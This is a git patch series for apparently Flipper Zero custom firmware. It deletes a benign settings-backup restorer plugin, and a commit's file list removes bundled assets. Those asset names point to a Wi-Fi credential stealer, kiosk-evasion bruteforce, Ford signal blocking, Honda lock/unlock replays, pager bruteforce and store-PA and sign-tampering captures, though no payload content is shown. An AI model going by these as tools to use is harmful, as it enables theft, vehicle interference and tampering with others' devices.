a/applications/plugins/dolphinrestorer/application.fam b/applications/plugins/dolphinrestorer/application.fam deleted file mode 100644 index afd263c45..000000000 --- a/applications/plugins/dolphinrestorer/application.fam +++ /dev/null @@ -1,12 +0,0 @@ -App( - appid="DolphinRestorer", - name="Dolphin Restorer", - apptype=FlipperAppType.EXTERNAL, - entry_point="drestorer_app", - cdefines=["APP_DRESTORER"], - requires=["gui", "storage"], - stack_size=2 * 1024, - order=90, - fap_icon="restoreIcon.png", - fap_category="Tools", -) diff --git a/applications/plugins/dolphinrestorer/drestorer.c b/applications/plugins/dolphinrestorer/drestorer.c deleted file mode 100644 index d2c0273d2..000000000 --- a/applications/plugins/dolphinrestorer/drestorer.c +++ /dev/null @@ -1,176 +0,0 @@ -#include "drestorer.h" -#include -#include -#include "loader/loader.h" -#include "m-string.h" -#include - -#define TAG "MoveToInt" - -#define MOVE_SRC "/ext/dolphin_restorer" -#define MOVE_DST "/int" - -static const char* app_dirs[] = { - ".bt.settings", - ".desktop.settings", - ".dolphin.state", - ".notification.settings", - ".bt.keys", - ".power.settings", -}; - -bool drestorer_perform(void) { - Storage* storage = furi_record_open(RECORD_STORAGE); - FuriString* path_src; - FuriString* path_dst; - path_src = furi_string_alloc(); - path_dst = furi_string_alloc(); - - for(uint32_t i = 0; i < COUNT_OF(app_dirs); i++) { - furi_string_printf(path_src, "%s/%s", MOVE_SRC, app_dirs[i]); - furi_string_printf(path_dst, "%s/%s", MOVE_DST, app_dirs[i]); - storage_simply_remove_recursive(storage, furi_string_get_cstr(path_dst)); - storage_common_copy( - storage, furi_string_get_cstr(path_src), furi_string_get_cstr(path_dst)); - } - - furi_string_free(path_src); - furi_string_free(path_dst); - - furi_record_close(RECORD_STORAGE); - - return false; -} - -static bool drestorer_check(void) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - FileInfo file_info; - bool state = false; - FuriString* path; - path = furi_string_alloc(); - - for(uint32_t i = 0; i < COUNT_OF(app_dirs); i++) { - furi_string_printf(path, "%s/%s", MOVE_SRC, app_dirs[i]); - if(storage_common_stat(storage, furi_string_get_cstr(path), &file_info) == FSE_OK) { - // if((file_info.flags & FSF_DIRECTORY) != 0) { - state = true; - break; - // } - } - } - - furi_string_free(path); - - furi_record_close(RECORD_STORAGE); - - return state; -} - -static bool drestorer_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - StorageMoveToSd* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool drestorer_back_event_callback(void* context) { - furi_assert(context); - StorageMoveToSd* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void drestorer_unmount_callback(const void* message, void* context) { - StorageMoveToSd* app = context; - furi_assert(app); - const StorageEvent* storage_event = message; - - if((storage_event->type == StorageEventTypeCardUnmount) || - (storage_event->type == StorageEventTypeCardMountError)) { - view_dispatcher_send_custom_event(app->view_dispatcher, MoveToSdCustomEventExit); - } -} - -static StorageMoveToSd* drestorer_alloc() { - StorageMoveToSd* app = malloc(sizeof(StorageMoveToSd)); - - app->gui = furi_record_open(RECORD_GUI); - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&drestorer_scene_handlers, app); - - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, drestorer_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, drestorer_back_event_callback); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, StorageMoveToSdViewWidget, widget_get_view(app->widget)); - - scene_manager_next_scene(app->scene_manager, StorageMoveToSdConfirm); - - Storage* storage = furi_record_open(RECORD_STORAGE); - app->sub = furi_pubsub_subscribe(storage_get_pubsub(storage), drestorer_unmount_callback, app); - furi_record_close(RECORD_STORAGE); - - return app; -} - -static void drestorer_free(StorageMoveToSd* app) { - Storage* storage = furi_record_open(RECORD_STORAGE); - furi_pubsub_unsubscribe(storage_get_pubsub(storage), app->sub); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_NOTIFICATION); - - view_dispatcher_remove_view(app->view_dispatcher, StorageMoveToSdViewWidget); - widget_free(app->widget); - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - furi_record_close(RECORD_GUI); - - free(app); -} - -int32_t drestorer_app(void* p) { - UNUSED(p); - - if(drestorer_check()) { - StorageMoveToSd* app = drestorer_alloc(); - notification_message(app->notifications, &sequence_display_backlight_on); - view_dispatcher_run(app->view_dispatcher); - drestorer_free(app); - } else { - FURI_LOG_I(TAG, "Nothing to move"); - } - - return 0; -} - -static void drestorer_mount_callback(const void* message, void* context) { - UNUSED(context); - - const StorageEvent* storage_event = message; - - if(storage_event->type == StorageEventTypeCardMount) { - Loader* loader = furi_record_open("loader"); - loader_start(loader, "StorageMoveToSd", NULL); - furi_record_close("loader"); - } -} - -int32_t drestorer_start(void* p) { - UNUSED(p); - Storage* storage = furi_record_open(RECORD_STORAGE); - - furi_pubsub_subscribe(storage_get_pubsub(storage), drestorer_mount_callback, NULL); - - furi_record_close(RECORD_STORAGE); - return 0; -} diff --git a/applications/plugins/dolphinrestorer/drestorer.h b/applications/plugins/dolphinrestorer/drestorer.h deleted file mode 100644 index c62adab37..000000000 --- a/applications/plugins/dolphinrestorer/drestorer.h +++ /dev/null @@ -1,49 +0,0 @@ -#pragma once -#include "gui/modules/widget_elements/widget_element_i.h" -#include -#include -#include -#include -#include -#include - -#include -#include - -#include -#include - -#include "scenes/drestorer_scene.h" - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - MoveToSdCustomEventExit, - MoveToSdCustomEventConfirm, -} MoveToSdCustomEvent; - -typedef struct { - // records - Gui* gui; - Widget* widget; - NotificationApp* notifications; - - // view managment - SceneManager* scene_manager; - ViewDispatcher* view_dispatcher; - - FuriPubSubSubscription* sub; - -} StorageMoveToSd; - -typedef enum { - StorageMoveToSdViewWidget, -} StorageMoveToSdView; - -bool drestorer_perform(void); - -#ifdef __cplusplus -} -#endif diff --git a/applications/plugins/dolphinrestorer/restoreIcon.png b/applications/plugins/dolphinrestorer/restoreIcon.png deleted file mode 100644 index 752be3bced431bf6c780962040fc57d6855df315..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1960 zcmcIl&1)n@6z}-OZZvyQ!F8A2w)e7&*7V0re=@USlF4oY+c9QG5)s7es_L00GhLnT zPG%DD;!P0uswe*dA+QJ@6j9WZ2NwiEJ$UjG6vRUaB-hO)?(S}HZ@+*2;?MB;d^Gz;A_xUB zd&YjceC3iLJoO-`FQ?1y9f$CC0aNa=Lbn}(wIGxyyAdWUEEPT02*Qf=*B4(&Vn8d> zlI|*QG|ig9>}JgFZqC=q<_fW?G?$2kgK)Q_GUrGf7t} zQZ@4^F1rijG>@5R7BoZ@MG;NApn8UmP5Tv5Q#4Ih3|TEA)pSaRqn5<}PXd3USdOXh zEY@!I{ee`GnrRw2vfSx(3Y}ts#|>GvZCh3}SXV$?>Kj;&Illn%) zgbWauzji(9=KQ6jSzYXf!ywrVfF$eE5A zPI+ACyfx_9!oZ`b6$`p}eJKbj?<6;}i255?4X3OkW!*!Hja0p^8jhknMeSv!=qO5V z>H;AsPVw1{ISu@cvzWTBGZ!W)4hfs9RU`aApk9 zUX25oA>0~8&7z`!$TZ6|RECkF8Yc2tNkO(}`N;4U%Qj4vs#KH2hkmDdi^ndfP~D;= zQsVeLZe!q2(8diWM`2??X&^N?fn;Wb1Uk6U8<%``dP8%Ut&XVrBhU)O9v>Y{vN5Pg zBT6UpRbu)^9$70G0m@aQ;AQ#IQRTZvj^Q3+u7xumBuII1!(`I% zmSQ0kEQUMi+fOdd!u@5<)vEOumMY)BdEsm2na8T9kN^H? - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) StorageMoveToSd##id, -typedef enum { -#include "drestorer_scene_config.h" - StorageMoveToSdSceneNum, -} StorageMoveToSdScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers drestorer_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "drestorer_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "drestorer_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "drestorer_scene_config.h" -#undef ADD_SCENE diff --git a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_config.h b/applications/plugins/dolphinrestorer/scenes/drestorer_scene_config.h deleted file mode 100644 index 80a07e22e..000000000 --- a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_config.h +++ /dev/null @@ -1,2 +0,0 @@ -ADD_SCENE(drestorer, confirm, Confirm) -ADD_SCENE(drestorer, progress, Progress) diff --git a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_confirm.c b/applications/plugins/dolphinrestorer/scenes/drestorer_scene_confirm.c deleted file mode 100644 index f9de4bccd..000000000 --- a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_confirm.c +++ /dev/null @@ -1,60 +0,0 @@ -#include "../drestorer.h" -#include "gui/canvas.h" -#include "gui/modules/widget_elements/widget_element_i.h" -#include "storage/storage.h" - -static void - drestorer_scene_confirm_widget_callback(GuiButtonType result, InputType type, void* context) { - StorageMoveToSd* app = context; - furi_assert(app); - if(type == InputTypeShort) { - if(result == GuiButtonTypeRight) { - view_dispatcher_send_custom_event(app->view_dispatcher, MoveToSdCustomEventConfirm); - } else if(result == GuiButtonTypeLeft) { - view_dispatcher_send_custom_event(app->view_dispatcher, MoveToSdCustomEventExit); - } - } -} - -void drestorer_scene_confirm_on_enter(void* context) { - StorageMoveToSd* app = context; - - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Cancel", drestorer_scene_confirm_widget_callback, app); - widget_add_button_element( - app->widget, GuiButtonTypeRight, "Confirm", drestorer_scene_confirm_widget_callback, app); - - widget_add_string_element( - app->widget, 64, 10, AlignCenter, AlignCenter, FontPrimary, "Backup Found"); - widget_add_string_multiline_element( - app->widget, - 64, - 32, - AlignCenter, - AlignCenter, - FontSecondary, - "Copy backup from\nSD card to internal storage?"); - - view_dispatcher_switch_to_view(app->view_dispatcher, StorageMoveToSdViewWidget); -} - -bool drestorer_scene_confirm_on_event(void* context, SceneManagerEvent event) { - StorageMoveToSd* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == MoveToSdCustomEventConfirm) { - scene_manager_next_scene(app->scene_manager, StorageMoveToSdProgress); - consumed = true; - } else if(event.event == MoveToSdCustomEventExit) { - view_dispatcher_stop(app->view_dispatcher); - } - } - - return consumed; -} - -void drestorer_scene_confirm_on_exit(void* context) { - StorageMoveToSd* app = context; - widget_reset(app->widget); -} diff --git a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_progress.c b/applications/plugins/dolphinrestorer/scenes/drestorer_scene_progress.c deleted file mode 100644 index 7c65afb4c..000000000 --- a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_progress.c +++ /dev/null @@ -1,31 +0,0 @@ -#include "../drestorer.h" - -void drestorer_scene_progress_on_enter(void* context) { - StorageMoveToSd* app = context; - - widget_add_string_element( - app->widget, 64, 10, AlignCenter, AlignCenter, FontPrimary, "Moving..."); - - view_dispatcher_switch_to_view(app->view_dispatcher, StorageMoveToSdViewWidget); - - drestorer_perform(); - view_dispatcher_send_custom_event(app->view_dispatcher, MoveToSdCustomEventExit); -} - -bool drestorer_scene_progress_on_event(void* context, SceneManagerEvent event) { - StorageMoveToSd* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - view_dispatcher_stop(app->view_dispatcher); - } else if(event.type == SceneManagerEventTypeBack) { - consumed = true; - } - - return consumed; -} - -void drestorer_scene_progress_on_exit(void* context) { - StorageMoveToSd* app = context; - widget_reset(app->widget); -} diff --git a/assets/resources/dolphin_restorer/.dolphin.state.bak b/assets/resources/dolphin_restorer/.dolphin.state.bak deleted file mode 100644 index dee1d3cbcc973e176733eb2e0556c0fb87df05d4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 40 ecmcb>_<;cg_<;aO>4Df@+#nJHq;1QSKr8@V;{&n) From 16475b399ca06adb536e44d82dec6ad89d3fdcb1 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 16 Mar 2023 00:54:00 +0000 Subject: [PATCH 119/329] Remove bundled files, only keep examples/demos --- .../badkb/Kiosk-Evasion-Bruteforce.txt | 473 ------------------ assets/resources/badkb/Wifi-Stealer_ORG.txt | 13 - assets/resources/music_player/Contra.txt | 1 - assets/resources/music_player/Doom.txt | 1 - assets/resources/music_player/Evangelion.txt | 1 - .../resources/music_player/Evangelion_Exp.txt | 1 - .../music_player/FF7_Victory_Fanfare.fmf | 8 - .../music_player/FF9_To_Zanarkand.txt | 1 - .../music_player/FF9_chocobo_theme.txt | 1 - .../music_player/FF9_moogle_theme.txt | 1 - .../Final_Fantasy_Victory_Fanfare.txt | 1 - .../music_player/GorillazClintEastwood.txt | 1 - assets/resources/music_player/Hello_Flip.txt | 1 - .../resources/music_player/JamesBondTheme.txt | 1 - .../music_player/LegendofZelda_Title.txt | 1 - .../music_player/Littleroot_Town_Pokemon.txt | 1 - .../resources/music_player/Marble_Machine.fmf | 6 - .../resources/music_player/MortalKombat.txt | 1 - .../resources/music_player/Pokemon_Center.txt | 1 - .../music_player/Rickroll_Chorus.fmf | 6 - .../music_player/Spider-Man_Theme.txt | 1 - .../music_player/Star_Wars_Imp_March.txt | 1 - .../music_player/SuperMarioBrothers_Death.txt | 1 - .../music_player/SuperMarioBrothers_Theme.txt | 1 - assets/resources/music_player/TMNT.txt | 1 - assets/resources/music_player/Take_On_Me.txt | 1 - assets/resources/music_player/pac_man.txt | 1 - .../nfc/SmashAmiibo/L1NK50_G0DL1NK.nfc | 153 ------ assets/resources/subghz/Gas_Sign/Back_gas.sub | 47 -- assets/resources/subghz/Gas_Sign/Down_gas.sub | 44 -- .../resources/subghz/Gas_Sign/Edit_mode.sub | 9 - assets/resources/subghz/Gas_Sign/Left_gas.sub | 48 -- assets/resources/subghz/Gas_Sign/ReadMe.md | 60 --- .../resources/subghz/Gas_Sign/Right_gas.sub | 46 -- assets/resources/subghz/Gas_Sign/S_gas.sub | 52 -- assets/resources/subghz/Gas_Sign/Up_gas.sub | 51 -- .../subghz/Handicap/ook650_315brute.sub | 16 - .../subghz/Misc/Crosswalk_Unknown.sub | 7 - assets/resources/subghz/Misc/Go1.sub | 8 - .../subghz/Misc/Pager_Bruteforce.sub | 108 ---- .../Sextoy/Egg Vibrator/Egg_vib_intensity.sub | 8 - .../Misc/Sextoy/Egg Vibrator/Egg_vib_mode.sub | 8 - .../Sextoy/Egg Vibrator/Egg_vib_power.sub | 8 - .../LoveBox_Vibrating_Egg/Lovebox_down.sub | 6 - .../LoveBox_Vibrating_Egg/Lovebox_lfrec.sub | 6 - .../LoveBox_Vibrating_Egg/Lovebox_mfrec.sub | 6 - .../LoveBox_Vibrating_Egg/Lovebox_on.sub | 6 - .../LoveBox_Vibrating_Egg/Lovebox_up.sub | 6 - .../Bp_01_1.sub | 8 - .../Bp_01_2.sub | 11 - .../Bp_01_3.sub | 9 - .../Bp_01_4.sub | 10 - .../Bp_02_1.sub | 9 - .../Bp_02_2.sub | 8 - .../Bp_02_3.sub | 9 - .../Bp_02_4.sub | 8 - .../Bp_03_1.sub | 8 - .../Bp_03_2.sub | 8 - .../Bp_03_3.sub | 8 - .../Bp_03_4.sub | 7 - .../Bp_04_1.sub | 8 - .../Bp_04_2.sub | 8 - .../Bp_04_3.sub | 8 - .../Bp_04_4.sub | 8 - .../Bp_05_1.sub | 8 - .../Bp_05_2.sub | 8 - .../Bp_05_3.sub | 7 - .../Bp_05_4.sub | 7 - .../Bp_06_1.sub | 17 - .../Bp_06_2.sub | 13 - .../Bp_06_3.sub | 7 - .../Bp_06_4.sub | 7 - .../Bp_07_1.sub | 7 - .../Bp_07_2.sub | 7 - .../Bp_07_3.sub | 7 - .../Bp_07_4.sub | 7 - .../Bp_08_1.sub | 7 - .../Bp_08_2.sub | 7 - .../Bp_08_3.sub | 7 - .../Bp_08_4.sub | 7 - .../Bp_09_1.sub | 7 - .../Bp_09_2.sub | 7 - .../Bp_09_3.sub | 7 - .../Bp_09_4.sub | 7 - .../Bp_10_1.sub | 7 - .../Bp_10_2.sub | 7 - .../Bp_10_3.sub | 7 - .../Bp_10_4.sub | 7 - .../Bp_11_1.sub | 7 - .../Bp_11_2.sub | 7 - .../Bp_11_3.sub | 7 - .../Bp_11_4.sub | 7 - .../Bp_12_1.sub | 7 - .../Bp_12_2.sub | 6 - .../Bp_12_3.sub | 6 - .../Bp_12_4.sub | 7 - .../Bp_13_1.sub | 6 - .../Bp_13_2.sub | 7 - .../Bp_13_3.sub | 7 - .../Bp_13_4.sub | 7 - .../Bp_14_1.sub | 7 - .../Bp_14_2.sub | 7 - .../Bp_14_3.sub | 7 - .../Bp_14_4.sub | 7 - .../Bp_15_1.sub | 7 - .../Bp_15_2.sub | 7 - .../Bp_15_3.sub | 6 - .../Bp_15_4.sub | 6 - .../Bp_off.sub | 6 - .../ReadMe.md | 2 - .../Power_Toggle_Long_Press.sub | 10 - .../resources/subghz/Misc/Sextoy/Sextoy1.sub | 9 - .../resources/subghz/Misc/Sextoy/Sextoy2.sub | 9 - .../resources/subghz/Misc/Sextoy/Sextoy3.sub | 9 - .../resources/subghz/Misc/Sextoy/Sextoy4.sub | 9 - .../Sextoy/Sinful Bullet Vibrator/ReadMe.md | 3 - .../Sinful Bullet Vibrator/Sinful_level.sub | 8 - .../Sinful Bullet Vibrator/Sinful_power.sub | 8 - .../subghz/Misc/Sextoy/Sway Vibes 3/ReadMe.md | 5 - .../Sextoy/Sway Vibes 3/Sway_vib_mode.sub | 8 - .../Sextoy/Sway Vibes 3/Sway_vib_on_off.sub | 8 - .../subghz/Stores/CVS/Aisle_Eight.sub | 8 - .../subghz/Stores/CVS/Aisle_Eighteen.sub | 8 - .../subghz/Stores/CVS/Aisle_Eleven.sub | 8 - .../subghz/Stores/CVS/Aisle_Fifteen.sub | 8 - .../subghz/Stores/CVS/Aisle_Five.sub | 8 - .../subghz/Stores/CVS/Aisle_Four.sub | 8 - .../subghz/Stores/CVS/Aisle_Fourteen.sub | 8 - .../subghz/Stores/CVS/Aisle_Nineteen.sub | 8 - .../resources/subghz/Stores/CVS/Aisle_One.sub | 8 - .../subghz/Stores/CVS/Aisle_Seven.sub | 8 - .../subghz/Stores/CVS/Aisle_Seventeen.sub | 8 - .../resources/subghz/Stores/CVS/Aisle_Six.sub | 8 - .../subghz/Stores/CVS/Aisle_Sixteen.sub | 8 - .../resources/subghz/Stores/CVS/Aisle_Ten.sub | 8 - .../subghz/Stores/CVS/Aisle_Thirteen.sub | 8 - .../subghz/Stores/CVS/Aisle_Three.sub | 8 - .../subghz/Stores/CVS/Aisle_Twelve.sub | 8 - .../subghz/Stores/CVS/Aisle_Twenty.sub | 8 - .../resources/subghz/Stores/CVS/Aisle_Two.sub | 8 - .../subghz/Stores/CVS/Allergy_Department.sub | 8 - .../subghz/Stores/CVS/Baby_Formula.sub | 8 - .../resources/subghz/Stores/CVS/Batteries.sub | 8 - .../resources/subghz/Stores/CVS/Body_Wash.sub | 8 - .../CVS/Cashier_to_the_Front_of_the_Store.sub | 8 - .../CVS/Clinic_1_Medical_Alert_to_the.sub | 8 - .../Stores/CVS/Cosmetics_Department.sub | 8 - .../subghz/Stores/CVS/Cough_Cold.sub | 8 - .../CVS/Customer_Service_Scan_All_Aisles.sub | 8 - .../subghz/Stores/CVS/Dental_Care.sub | 8 - .../subghz/Stores/CVS/Deodorants.sub | 8 - .../CVS/Diet_and_Nutrition_Department.sub | 8 - assets/resources/subghz/Stores/CVS/Ding_1.sub | 8 - .../subghz/Stores/CVS/Electric_Razors.sub | 8 - .../subghz/Stores/CVS/Electronics.sub | 8 - .../subghz/Stores/CVS/Eye_Care_Department.sub | 8 - .../subghz/Stores/CVS/Family_Planning.sub | 8 - .../subghz/Stores/CVS/Film_Department.sub | 8 - .../Stores/CVS/First_Aid_Department.sub | 8 - .../Stores/CVS/Foot_Care_Department.sub | 8 - .../subghz/Stores/CVS/Fragrance_Case.sub | 8 - .../Stores/CVS/Hair-Care_Department.sub | 8 - .../CVS/Health_Department_OTC_Health.sub | 8 - .../subghz/Stores/CVS/Karen_Manager.sub | 8 - .../subghz/Stores/CVS/Karen_Security.sub | 8 - .../subghz/Stores/CVS/Liquor_Department.sub | 8 - .../Stores/CVS/Pain_Reliever_Department.sub | 8 - .../resources/subghz/Stores/CVS/Pharmacy.sub | 8 - .../resources/subghz/Stores/CVS/Photo_Lab.sub | 8 - .../CVS/Pre-Recorded_Video_Department.sub | 9 - .../CVS/Recordable_Media_Department.sub | 8 - .../Stores/CVS/Skin_Care_Department.sub | 8 - .../subghz/Stores/CVS/Small_Appliances.sub | 8 - .../subghz/Stores/CVS/Special_Ding.sub | 8 - .../subghz/Stores/CVS/Stationery.sub | 8 - .../subghz/Stores/CVS/Stomach_Remedies.sub | 8 - .../CVS/Telecommunications_Department.sub | 8 - .../subghz/Stores/CVS/Vitamin_Department.sub | 8 - .../subghz/Stores/Lowes/Appliance_Desk.sub | 17 - .../subghz/Stores/Lowes/Blind_Cutting.sub | 7 - .../subghz/Stores/Lowes/Electrical.sub | 9 - .../subghz/Stores/Lowes/Flooring_Desk.sub | 10 - .../Lowes/Outdoor_Power_Equipment_Desk.sub | 17 - .../subghz/Stores/Lowes/Packaged_Rugs.sub | 8 - .../subghz/Stores/Lowes/Wirecutting.sub | 9 - .../Stores/Walgreens/Walgreens_Cough.sub | 7 - .../Stores/Walgreens/Walgreens_Skincare.sub | 7 - .../Stores/Walgreens/Walgreens_Vitamin.sub | 7 - .../Vehicles/Ford/ford_signal_block_1.sub | 8 - .../Vehicles/Ford/ford_signal_block_2.sub | 7 - .../subghz/Vehicles/Misc/Lock_honda.sub | 111 ---- .../subghz/Vehicles/Misc/Unlock_honda.sub | 95 ---- .../subghz/playlist/CVS_playlist.txt | 58 --- .../subghz/playlist/Ford Playlist.txt | 3 - .../subghz/playlist/Lowes_playlist.txt | 8 - .../subghz/playlist/Walgreens_playlist.txt | 4 - .../resources/subghz/remote/CVS_Walgreens.txt | 10 - .../resources/subghz/remote/Gas_Sign_Edit.txt | 10 - .../resources/subghz/remote/Ridin_Dirty.txt | 10 - .../resources/wav_player/sonicscrewdriver.wav | Bin 94508 -> 0 bytes 200 files changed, 2660 deletions(-) delete mode 100644 assets/resources/badkb/Kiosk-Evasion-Bruteforce.txt delete mode 100644 assets/resources/badkb/Wifi-Stealer_ORG.txt delete mode 100644 assets/resources/music_player/Contra.txt delete mode 100644 assets/resources/music_player/Doom.txt delete mode 100644 assets/resources/music_player/Evangelion.txt delete mode 100644 assets/resources/music_player/Evangelion_Exp.txt delete mode 100644 assets/resources/music_player/FF7_Victory_Fanfare.fmf delete mode 100644 assets/resources/music_player/FF9_To_Zanarkand.txt delete mode 100644 assets/resources/music_player/FF9_chocobo_theme.txt delete mode 100644 assets/resources/music_player/FF9_moogle_theme.txt delete mode 100644 assets/resources/music_player/Final_Fantasy_Victory_Fanfare.txt delete mode 100644 assets/resources/music_player/GorillazClintEastwood.txt delete mode 100644 assets/resources/music_player/Hello_Flip.txt delete mode 100644 assets/resources/music_player/JamesBondTheme.txt delete mode 100644 assets/resources/music_player/LegendofZelda_Title.txt delete mode 100644 assets/resources/music_player/Littleroot_Town_Pokemon.txt delete mode 100644 assets/resources/music_player/Marble_Machine.fmf delete mode 100644 assets/resources/music_player/MortalKombat.txt delete mode 100644 assets/resources/music_player/Pokemon_Center.txt delete mode 100644 assets/resources/music_player/Rickroll_Chorus.fmf delete mode 100644 assets/resources/music_player/Spider-Man_Theme.txt delete mode 100644 assets/resources/music_player/Star_Wars_Imp_March.txt delete mode 100644 assets/resources/music_player/SuperMarioBrothers_Death.txt delete mode 100644 assets/resources/music_player/SuperMarioBrothers_Theme.txt delete mode 100644 assets/resources/music_player/TMNT.txt delete mode 100644 assets/resources/music_player/Take_On_Me.txt delete mode 100644 assets/resources/music_player/pac_man.txt delete mode 100644 assets/resources/nfc/SmashAmiibo/L1NK50_G0DL1NK.nfc delete mode 100644 assets/resources/subghz/Gas_Sign/Back_gas.sub delete mode 100644 assets/resources/subghz/Gas_Sign/Down_gas.sub delete mode 100644 assets/resources/subghz/Gas_Sign/Edit_mode.sub delete mode 100644 assets/resources/subghz/Gas_Sign/Left_gas.sub delete mode 100644 assets/resources/subghz/Gas_Sign/ReadMe.md delete mode 100644 assets/resources/subghz/Gas_Sign/Right_gas.sub delete mode 100644 assets/resources/subghz/Gas_Sign/S_gas.sub delete mode 100644 assets/resources/subghz/Gas_Sign/Up_gas.sub delete mode 100644 assets/resources/subghz/Handicap/ook650_315brute.sub delete mode 100644 assets/resources/subghz/Misc/Crosswalk_Unknown.sub delete mode 100644 assets/resources/subghz/Misc/Go1.sub delete mode 100644 assets/resources/subghz/Misc/Pager_Bruteforce.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_intensity.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_mode.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_power.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_down.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_lfrec.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_mfrec.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_on.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_up.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_2.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_3.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_4.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_1.sub delete mode 100644 assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_2.sub delete mode 100644 